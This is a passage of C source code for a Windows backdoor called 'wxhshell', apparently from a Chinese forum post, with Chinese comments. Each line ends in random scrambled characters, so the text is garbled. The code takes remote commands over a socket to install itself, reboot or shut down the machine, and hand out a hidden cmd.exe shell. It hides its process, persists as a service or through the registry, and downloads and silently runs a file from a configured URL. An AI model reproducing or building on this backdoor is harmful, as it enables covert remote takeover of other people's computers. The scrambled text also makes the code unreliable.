  // 帮助 y4tM0h  
  case '?': { G!C2[:[g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :MV]OLRM  
    break; W7c(] tg.  
  } ?kI-o0@O.  
  // 安装 ) ^'Q@W  
  case 'i': { *!ZU" q}i  
    if(Install()) k3da*vwE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \SHYwD}*Pr  
    else A|,\}9)4X[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ce0TQ  
    break; T2P0(rEz  
    } ?Lbw o<E  
  // 卸载 bN`oQ.Z 4  
  case 'r': { hWf Jh0I  
    if(Uninstall()) mqrP0/sN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q.*qU,4);  
    else MRwls@z=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nU-.a5  
    break; H [wJ; l  
    } Qx1ZxJz #  
  // 显示 wxhshell 所在路径 |FHeT*"  
  case 'p': { "CapP`:  
    char svExeFile[MAX_PATH]; fIu5d6;'  
    strcpy(svExeFile,"\n\r"); 5?r#6:(yI  
      strcat(svExeFile,ExeFile); @Kd1|K  
        send(wsh,svExeFile,strlen(svExeFile),0); )l[<3< @s  
    break; e#(0af8A  
    } bIu '^  
  // 重启 #UG|\}Lp  
  case 'b': { ZSuUmCm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MUh )  
    if(Boot(REBOOT)) :DXkAb2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zW,m3~XX:  
    else { O8(;=exA  
    closesocket(wsh); I\&..e0l  
    ExitThread(0); q(M[ij  
    } .h~M&d!  
    break; qAUqlSP5  
    } \K.i8f,  
  // 关机 2f9~:.NgF  
  case 'd': { p+ SFeUp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }{[H@uhjH  
    if(Boot(SHUTDOWN)) FbO-K-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (cAv :EKpo  
    else { +Pd&YfU9  
    closesocket(wsh); _A|1_^[G(  
    ExitThread(0); z6#N f,  
    } eS8tsI  
    break; z9}rT<hy  
    } LzB)o\a  
  // 获取shell ]:(>r&'  
  case 's': { :WIbjI=  
    CmdShell(wsh); $~`a,[e<  
    closesocket(wsh); =24)`Lyb  
    ExitThread(0);  TOdH  
    break; 0AP wk }  
  } -l+ &Bkf  
  // 退出 S}gUz9ks  
  case 'x': { _v{,vLH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JryDbGc8  
    CloseIt(wsh); k!H;(B"s-  
    break; /6B!& b2f  
    } @a#qq`b;  
  // 离开 $IX>o&S@|  
  case 'q': { QMea2q|3$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %_;q<@9)  
    closesocket(wsh); \u ?z:mV  
    WSACleanup(); ;W]NT 4p  
    exit(1); Y$uXBTR`y/  
    break; oe_l:Y%  
        } GzWmXm  
  } q{@j$fMt0  
  } LH@)((bi4v  
E#JDbV1AC  
  // 提示信息 1fM= >Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E@^`B9 ;Q7  
} o\vIYQ   
  } U~-Z`_@^-  
rQg7r>%Q  
  return; kU$P?RD  
} e.hHpjWi?Z  
z=<x.F  
// shell模块句柄 b2u_1P\  
int CmdShell(SOCKET sock) "(5A 5>  
{ xfCq;?MupW  
STARTUPINFO si; FKY|xG9  
ZeroMemory(&si,sizeof(si)); ..V6U"/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \!j{&cJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S9d+#6rn  
PROCESS_INFORMATION ProcessInfo; gm~Ka%O|F  
char cmdline[]="cmd"; !31v@v:)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CT+pkNC  
  return 0; jJdw\`  
} 7].tt  
oNY;z-QK  
// 自身启动模式 \g< M\3f  
int StartFromService(void) PeEf=3  
{ :]iV*zo_  
typedef struct *i|O!h1St  
{ s`GwRH<#  
  DWORD ExitStatus; *2N$l>ql:k  
  DWORD PebBaseAddress; \gaGTc2&  
  DWORD AffinityMask; Ug*:o d  
  DWORD BasePriority; Os' 7h  
  ULONG UniqueProcessId; Rd|};-  
  ULONG InheritedFromUniqueProcessId; GV#"2{t j  
}   PROCESS_BASIC_INFORMATION; EpSVHD:*  
e#JJd=  
PROCNTQSIP NtQueryInformationProcess; Ta`=c0  
,2q LiE>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )%Z<9k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o7<pI8\  
A+w51Q  
  HANDLE             hProcess; SjV;& 1Z/  
  PROCESS_BASIC_INFORMATION pbi; "& 'h\  
cdVh_"[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ql&5fyW  
  if(NULL == hInst ) return 0; M@EML @~  
\&ra&3o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hE0 p> R8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &dp<i[ec^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U1G"T(;s:  
jR`q  y<  
  if (!NtQueryInformationProcess) return 0; Tm~a& p  
L^uO.eI"m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $50A!h  
  if(!hProcess) return 0; &+;z`A'|8  
vggyQf%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <gRv7 ?V[z  
ysm)B?+k  
  CloseHandle(hProcess); }/q]:3M|  
~c~N _b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *>,8+S33r{  
if(hProcess==NULL) return 0; .)~IoIW=  
d|CSWcU  
HMODULE hMod; H4p N+  
char procName[255]; ts/ rV#s~  
unsigned long cbNeeded; F B-?{78~  
jPU:&1(_ n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iV;X``S  
u^T)4~(  
  CloseHandle(hProcess); &QFg=  
Lb;:<  
if(strstr(procName,"services")) return 1; // 以服务启动 SVWtKc<  
4%>iIPXi.(  
  return 0; // 注册表启动 d6,SZ*AE  
} .E}fk,hLB  
*-"DZ  
// 主模块 W m\HZ9PN  
int StartWxhshell(LPSTR lpCmdLine) unu%\f>^4  
{ Tl"GOpH\]  
  SOCKET wsl; m[7@l  
BOOL val=TRUE; }@%A@A{R  
  int port=0; > 5-z"f  
  struct sockaddr_in door; G6wBZ?)k  
!j[Oy r|  
  if(wscfg.ws_autoins) Install(); Bc3(xI'>J  
|2w,Np-  
port=atoi(lpCmdLine); ,?g}->ZB  
5/4N  Y  
if(port<=0) port=wscfg.ws_port; N9@@n:JT  
uLXMEx<^  
  WSADATA data; ^x(BZolkm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #AHX{<  
v&6I\1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gz8>uGx&V!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mTXeIng?  
  door.sin_family = AF_INET; +Qy0K5Ee  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Snl_@s  
  door.sin_port = htons(port); W(U:D?e  
pv);LjF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {"hX_t  
closesocket(wsl); [yj-4v%u`  
return 1; Ca}T)]//  
} r5y p jT^  
}jTCzqHW]  
  if(listen(wsl,2) == INVALID_SOCKET) { iV<4#aBg  
closesocket(wsl); k\(LBZ"vR  
return 1; i i&kfy  
} NvCq5B$C  
  Wxhshell(wsl); USBU?WDt  
  WSACleanup(); A/ppr.  
$OEhdz&Fi  
return 0; $M%<i~VXe&  
Z,~Bz@5`"  
} x?T.ItW:K  
+pDZ,c,  
// 以NT服务方式启动 M.B0)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]6JI((  
{ eru2.(1  
DWORD   status = 0; o2p;$W4`  
  DWORD   specificError = 0xfffffff; "eKNk  
P]V/<8o.53  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3O %u?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4rX jso|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7O)j]eeoL  
  serviceStatus.dwWin32ExitCode     = 0; [fVtQ@-S!  
  serviceStatus.dwServiceSpecificExitCode = 0; ~+ _|J"\  
  serviceStatus.dwCheckPoint       = 0; $'m&RzZ  
  serviceStatus.dwWaitHint       = 0; %K@s0uQ  
bWp40&vx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ynkPI6o  
  if (hServiceStatusHandle==0) return; J*4byu|  
}M_Yn0(3  
status = GetLastError(); #"PI%&  
  if (status!=NO_ERROR) (H=7(  
{ z +NxO !y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oEfy{54  
    serviceStatus.dwCheckPoint       = 0; @|A w T  
    serviceStatus.dwWaitHint       = 0; c;RB!`9"  
    serviceStatus.dwWin32ExitCode     = status; &dA{<.  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4DGc[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $~ 6Y\O  
    return; (jQ]<q%P  
  } tzl`|UwF  
#s"|8#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AH?T}t2  
  serviceStatus.dwCheckPoint       = 0; NR98I7  
  serviceStatus.dwWaitHint       = 0; a3i;r M2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~Ey)9phZK  
} 'dTJE--@  
ur*a!U  
// 处理NT服务事件,比如:启动、停止 |n9q 4*dN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /m>%=_nz  
{ !\e&7sV~Q  
switch(fdwControl) \gtI4zl*J  
{ E]Wnl\Be  
case SERVICE_CONTROL_STOP: J})#43P  
  serviceStatus.dwWin32ExitCode = 0; # MpW\yX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pS [nKcyj  
  serviceStatus.dwCheckPoint   = 0; >LqW;/&S<  
  serviceStatus.dwWaitHint     = 0; :i{$p00 G  
  { xw1@&QwM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cSMiNR  
  } z x e6M~+  
  return; q ERdQ~M,  
case SERVICE_CONTROL_PAUSE: QY$Z,#V)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l;u_4`1H  
  break; MqA%hlq  
case SERVICE_CONTROL_CONTINUE: |ji={  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?U}Ml]0~  
  break; bKAR}JM&  
case SERVICE_CONTROL_INTERROGATE: 6x6xv:\  
  break; ]m ED3#  
}; 4JOw@/nE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZW+[f$X  
} <4DSk9/  
g)o?nAr  
// 标准应用程序主函数 ,B^NH7A:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hU 3z4|~+  
{ G"_ 8`l  
*qh$,mp>  
// 获取操作系统版本 [1Os.G2  
OsIsNt=GetOsVer(); ^M51@sXI7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I $5*Puy#  
IUK !b2!`  
  // 从命令行安装  vbol 70  
  if(strpbrk(lpCmdLine,"iI")) Install(); , [ogh  
Y(:.f-Du  
  // 下载执行文件 O(P ,!  
if(wscfg.ws_downexe) { 47(/K2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hvc%6A\nm  
  WinExec(wscfg.ws_filenam,SW_HIDE); n aQ0TN,  
} *{/L7])gm  
/Ah|Po  
if(!OsIsNt) { ,{KjVv<  
// 如果时win9x,隐藏进程并且设置为注册表启动 *jAw  
HideProc(); vocXk_  
StartWxhshell(lpCmdLine); {{3n">s}:  
} fJjtrvNy)  
else ow,4'f!d  
  if(StartFromService()) %cPz>PTW@  
  // 以服务方式启动 !i"Z  
  StartServiceCtrlDispatcher(DispatchTable); hqPpRSv'  
else #5Zf6w  
  // 普通方式启动 Jl,mYFEZ  
  StartWxhshell(lpCmdLine); =K#12TRf  
9)_fH6r  
return 0; =|@%5&.P  
}
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只看该作者 1 发表于: 2006-10-10
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